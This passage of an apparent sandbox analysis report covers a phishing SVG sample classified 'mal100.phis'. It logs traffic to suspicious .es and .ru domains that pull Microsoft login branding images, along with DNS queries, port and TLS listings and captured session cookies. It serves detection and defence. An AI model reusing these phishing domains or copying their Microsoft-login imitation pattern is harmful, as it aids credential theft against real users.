Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-dnukdvcuyrxzajeghhlkgrsw0mn8cw2uhbxodkn-5f8/logintenantbranding/0/illustration?ts=637898708869671586 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-dnukdvcuyrxzajeghhlkgrsw0mn8cw2uhbxodkn-5f8/logintenantbranding/0/bannerlogo?ts=638254708363776654 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-dnukdvcuyrxzajeghhlkgrsw0mn8cw2uhbxodkn-5f8/logintenantbranding/0/bannerlogo?ts=638254708363776654 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-dnukdvcuyrxzajeghhlkgrsw0mn8cw2uhbxodkn-5f8/logintenantbranding/0/illustration?ts=637898708869671586 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wrLVLXA2M5D638BwlhMKDDoJO0v1pzxh18H7rfM6lHFqOhGk8j74744g HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJTaTNkTGoyanZLR0o2b1BDYVBGK2c9PSIsInZhbHVlIjoiMnRoYTJSWWZ0U3hKTDlrbU5QeE1NcTdXL3pSYzgxNW1sTndkTUNwQXRxL0RUL1psSlVSL0NTZnIvcXBybHF0dFNjZVhYWTBsaFdQalg1elZ3ZTZYK2ZYd2t1NXcxT2VFMjUvM2xDMTVxWHYwM1NyZVptY3piNy93S1RvMlBMcWIiLCJtYWMiOiI5NDMwODc0YTM3YzY3ZDI0YzVjYTU2Yzc5YjhjZjE0ZTkyNDA3Mzk5ZTc4ZTYyZTBjNzBmZmQ2Y2RhMGIwMTkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFuVE5rYTNsaG55OUpWTnhPNllKSnc9PSIsInZhbHVlIjoibWFuR0RTMVFJQmZ4Ylg1VDl5SU93UVN3Z0w4blpJWEpsK1p0a1lUN0gxNnVscWRkSVlTcGJFMEJ0NHVTNDEyT1NSQXRzNFJBRTM3cktUVnhOMWlxVytRYjJEOGRzQ09sZTZzM3BzMVl1ZVN0UVFVL0NudVJmajFyRVdxanJUNU4iLCJtYWMiOiI0MDVjMDJkYzFiNmMyZWVkODRmNTViOTNkMmQ5ZjAxODdjODU3NDlmZjg5YmIwYjBiNWViZTY1NDZkZWE1YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUA127BULQKEKPaTW56oAKT3Fruop50 HTTP/1.1Host: ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUA12je9E5isM78RVa19aSIop45 HTTP/1.1Host: ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUAyzr6WGRmUsZy56qEfCOop50 HTTP/1.1Host: ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ea.gdpfjvzprf.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 5s0vuk.hxnywi.ru
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /report/v4?s=5xCBaUkn1Pg9pRk7f%2B2MTtXZIrhrvGLuJnZ7xyekseTweHAiQoc%2BdF6p5XK4ZurVSTuTVmmRmFFGfwDPSGIC4oKnCkMFPudpJJZ7ux%2FcS3WdW9tw%2BLt2hN%2FW3Nra%2F4qGAuQ8 HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 455Content-Type: application/reports+jsonOrigin: https://ea.gdpfjvzprf.esUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:31:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5xCBaUkn1Pg9pRk7f%2B2MTtXZIrhrvGLuJnZ7xyekseTweHAiQoc%2BdF6p5XK4ZurVSTuTVmmRmFFGfwDPSGIC4oKnCkMFPudpJJZ7ux%2FcS3WdW9tw%2BLt2hN%2FW3Nra%2F4qGAuQ8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=53374&min_rtt=53286&rtt_var=11292&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1475&delivery_rate=75704&cwnd=33&unsent_bytes=0&cid=39afe62823aa7361&ts=387&x=0"Cache-Control: max-age=14400CF-Cache-Status: HITAge: 3Server: cloudflareCF-RAY: 926a71a5995e43ac-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=86018&min_rtt=85749&rtt_var=18365&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1926&delivery_rate=35645&cwnd=252&unsent_bytes=0&cid=df8e692d72335e29&ts=1958&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:31:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ze67v3oifZ%2FizTQ0qcIXkBXdWZzFkrKClQu4FpTPL1Fw8CsDlBQ3%2B9UfW1NNdiEH10j5r5RMlKjh9XZJMMLkQeZwnVH%2BfHBiieZUqUVV%2F1dnLD4DyHKZIzE%2F5353odC80PgP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=55301&min_rtt=55212&rtt_var=15590&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2060&delivery_rate=73177&cwnd=253&unsent_bytes=0&cid=e615220e7acf882f&ts=258&x=0"Server: cloudflareCF-RAY: 926a71d56df25590-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85977&min_rtt=85858&rtt_var=18292&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1718&delivery_rate=35449&cwnd=239&unsent_bytes=0&cid=14851529d10568ca&ts=694&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:32:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CMr5AmAVEiZjyRl%2Fpu%2Fb0rmZYI5UePnO%2BeBYZwUwtiw%2B4%2B24N9A4J66NqTnOyI5aN0MaYnqcDtYAhshfPK59%2BWJrMUN9jQX3JQy1pnHdLbVr26F6si%2FUHj23gTOtsnFSa9hr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1099&min_rtt=1090&rtt_var=324&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2065&delivery_rate=3559859&cwnd=189&unsent_bytes=0&cid=0a2ef94b537b64c1&ts=229&x=0"Server: cloudflareCF-RAY: 926a71e238b4f788-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=83834&min_rtt=83796&rtt_var=17695&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1722&delivery_rate=36467&cwnd=252&unsent_bytes=0&cid=b055fb4952d51e09&ts=540&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:32:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Jt7z9MX3A1T1jYL%2F8rrnTLLXPvEzcyo%2FRYK42QkDsgU6hORie9TrBRnfIqTSPDDVDBBM0udJXy%2BhQe2huuVtCa%2BK%2BYWULQUjCXAIiLp%2BaTjVvxGJ3iiMJj4k81T02AgojUV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=35907&min_rtt=35889&rtt_var=10126&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2074&delivery_rate=112423&cwnd=253&unsent_bytes=0&cid=72c5210782976df6&ts=220&x=0"Server: cloudflareCF-RAY: 926a71f878630cfb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=83795&min_rtt=83750&rtt_var=17739&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1731&delivery_rate=36429&cwnd=252&unsent_bytes=0&cid=f0f97ef3516f9398&ts=610&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 23:32:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qKznXSV39IygbS%2B3ynHMnYdZd3Ii2iWkAJBTPq7%2BcF6%2BAdVrcONKcXUkG05jjRIPJU4b5U4aPC3Q8XFy2CEIXOz9%2FPDVNV4oGBlrZXj2fWHON%2BsVV4h0Z%2BemQ6bDdTZxvnNe"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=35987&min_rtt=35881&rtt_var=10163&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2073&delivery_rate=112495&cwnd=253&unsent_bytes=0&cid=74c34e7dac6122d8&ts=229&x=0"CF-RAY: 926a72474ec47292-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_97.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_97.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_121.1.dr	String found in binary or memory: https://www.bestbuy.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.149.248:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.188:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.188:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.33:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.33:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49814 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir7728_1356211951

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir7728_1356211951

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winSVG@23/81@38/19

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
